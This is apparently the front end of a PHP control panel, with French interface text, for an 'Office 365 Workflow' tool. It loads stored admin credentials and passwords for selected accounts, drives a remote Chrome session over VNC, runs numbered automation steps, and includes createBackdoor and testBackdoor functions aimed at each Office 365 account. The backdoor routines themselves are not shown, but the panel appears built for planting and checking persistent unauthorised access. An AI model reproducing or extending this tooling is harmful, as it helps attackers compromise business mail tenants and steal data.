<div class="panel">
|
|
<div class="panel-header"><h3><i class="fa fa-terminal"></i> Console</h3></div>
|
|
<div class="panel-body" style="display:flex;flex-direction:column;gap:12px;height:100%;padding:12px">
|
|
<div class="status-grid">
|
|
<div class="status-card" id="card-xvfb"><i class="fa fa-tv"></i><h4>XVFB</h4><div class="status-dot"></div></div>
|
|
<div class="status-card" id="card-vnc"><i class="fa fa-desktop"></i><h4>VNC</h4><div class="status-dot"></div></div>
|
|
<div class="status-card" id="card-novnc"><i class="fa fa-globe"></i><h4>noVNC</h4><div class="status-dot"></div></div>
|
|
<div class="status-card" id="card-chrome"><i class="fab fa-chrome"></i><h4>Chrome</h4><div class="status-dot"></div></div>
|
|
<div class="status-card" id="card-pwsh"><i class="fa fa-terminal"></i><h4>PowerShell</h4><div class="status-dot"></div></div>
|
|
</div>
|
|
<div class="console-container" style="flex:1">
|
|
<div class="console-header"><span><i class="fa fa-circle"></i> Output</span><button class="btn btn-primary" onclick="clearConsole()" style="padding:4px 10px;font-size:10px"><i class="fa fa-trash"></i></button></div>
|
|
<div class="console" id="console"><span class="time">[System]</span> <span class="info">Office 365 Workflow ready</span><br><?php if($selectedAccount):?><span class="time">[Account]</span> <span class="success"><?=htmlspecialchars($selectedAccount['name']??$selectedAccount['admin_email'])?> (ID: <?=$selectedId?>)</span><br><?php endif;?></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="modal" id="backupModal">
|
|
<div class="modal-content">
|
|
<div class="modal-header"><h3><i class="fa fa-history"></i> Backups</h3><button class="modal-close" onclick="closeModal()">×</button></div>
|
|
<div id="backupsList"></div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
const accountId=<?=$selectedId?:0?>;
|
|
function selectAccount(id){if(id)window.location.href='?account_id='+id;}
|
|
function log(msg,type='info'){const c=document.getElementById('console');const t=new Date().toLocaleTimeString();c.innerHTML=c.innerHTML+'<span class="time">['+t+']</span> <span class="'+type+'">'+msg+'</span><br>';c.scrollTop=c.scrollHeight;}
|
|
function clearConsole(){document.getElementById('console').innerHTML='<span class="time">[System]</span> <span class="info">Console cleared</span><br>';}
|
|
function checkServices(){fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=check_services'}).then(r=>r.json()).then(d=>{if(d.success)Object.keys(d.services).forEach(k=>{const card=document.getElementById('card-'+k);if(card)card.className='status-card '+(d.services[k].running?'running':'stopped');});});}
|
|
function startVNC(){log('Starting VNC...','warning');fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=start_vnc'}).then(r=>r.json()).then(d=>{log('VNC started','success');setTimeout(()=>{refreshVNC();checkServices();},3000);});}
|
|
function killAll(){log('Stopping all...','warning');fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=kill_all'}).then(r=>r.json()).then(d=>{log('All stopped','success');checkServices();});}
|
|
function refreshVNC(){document.getElementById('vncContainer').innerHTML='<iframe src="http://<?=$config['vnc_host']?>:<?=$config['novnc_port']?>/vnc.html?autoconnect=true&resize=scale&t='+Date.now()+'"></iframe>';}
|
|
function launch(url){log('Opening: '+url,'info');fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=start_browser&url='+encodeURIComponent(url)}).then(r=>r.json()).then(d=>{log('Browser launched','success');checkServices();});}
|
|
|
|
function prepareAccount(){
|
|
if(!accountId)return alert('Sélectionnez un compte');
|
|
log('📥 Chargement credentials...','warning');
|
|
fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=prepare_account&account_id='+accountId}).then(r=>r.json()).then(d=>{
|
|
if(d.success){log('✅ '+d.message,'success');log('🔑 Password: '+(d.has_password?'OK':'❌ MANQUANT'),'info');}else{log('❌ '+d.message,'error');}
|
|
});
|
|
}
|
|
|
|
function createBackup(){
|
|
if(!accountId)return alert('Sélectionnez un compte');
|
|
log('💾 Création backup...','warning');
|
|
fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=backup_account&account_id='+accountId}).then(r=>r.json()).then(d=>{
|
|
if(d.success){log('✅ '+d.file,'success');}else{log('❌ '+d.message,'error');}
|
|
});
|
|
}
|
|
|
|
function createBackdoor(){ if(!accountId)return alert("Sélectionnez un compte"); location.href="test-bd.php?id="+accountId; }
|
|
}
|
|
|
|
function testBackdoor(){
|
|
if(!accountId)return alert('Sélectionnez un compte');
|
|
log('🔬 Test backdoor...','warning');
|
|
fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=test_backdoor&account_id='+accountId}).then(r=>r.json()).then(d=>{
|
|
if(d.success){log('✅ '+d.message,'success');log('📧 '+d.email,'info');}else{log('❌ '+d.message,'error');}
|
|
});
|
|
}
|
|
|
|
function showBackups(){
|
|
if(!accountId)return;
|
|
fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=list_backups&account_id='+accountId}).then(r=>r.json()).then(d=>{
|
|
if(d.success){
|
|
let html=d.backups.length?'':'<p style="text-align:center;color:#64748b">Aucun backup</p>';
|
|
d.backups.forEach(b=>{html+=`<div class="backup-item"><div><strong>${b.file}</strong><br><small>${b.date}</small></div><button class="btn btn-primary" onclick="restoreBackup('${b.file}')">Restaurer</button></div>`;});
|
|
document.getElementById('backupsList').innerHTML=html;
|
|
document.getElementById('backupModal').classList.add('active');
|
|
}
|
|
});
|
|
}
|
|
function closeModal(){document.getElementById('backupModal').classList.remove('active');}
|
|
function restoreBackup(file){
|
|
if(!confirm('Restaurer?'))return;
|
|
fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=restore_backup&account_id='+accountId+'&file='+encodeURIComponent(file)}).then(r=>r.json()).then(d=>{
|
|
if(d.success){log('✅ Restauré','success');closeModal();setTimeout(()=>location.reload(),1000);}else{log('❌ '+d.message,'error');}
|
|
});
|
|
}
|
|
|
|
function runStep(step){
|
|
if(!accountId)return alert('Sélectionnez un compte');
|
|
log('▶ Step '+step+'...','warning');
|
|
document.querySelectorAll('.step-run').forEach(b=>b.disabled=true);
|
|
fetch('',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=run_step&step='+step+'&account_id='+accountId}).then(r=>r.json()).then(d=>{
|
|
document.querySelectorAll('.step-run').forEach(b=>b.disabled=false);
|
|
if(d.success){
|
|
log('✅ Step '+step+' OK','success');
|
|
if(d.output){const lines=d.output.split('\n').filter(l=>l.trim()).slice(0,15).join('<br>');log('<div style="background:#1e293b;padding:8px;border-radius:6px;margin:4px 0;font-size:10px;border-left:3px solid #6366f1">'+lines+'</div>','');}
|
|
|
|
}else{log('❌ Step '+step+' failed','error');}
|
|
checkServices();
|
|
}).catch(e=>{document.querySelectorAll('.step-run').forEach(b=>b.disabled=false);log('❌ Error: '+e,'error');});
|
|
}
|
|
|
|
checkServices();setInterval(checkServices,5000);
|
|
|
|
function filterList(){
|
|
var f=document.getElementById("searchBox").value.toUpperCase();
|
|
var o=document.getElementById("accountSelect").options;
|
|
for(var i=1;i<o.length;i++){
|
|
o[i].style.display=o[i].text.toUpperCase().indexOf(f)>-1?"":"none";
|
|
}
|
|
}
|
|
</script>
|
|
</body>
|
|
</html>
|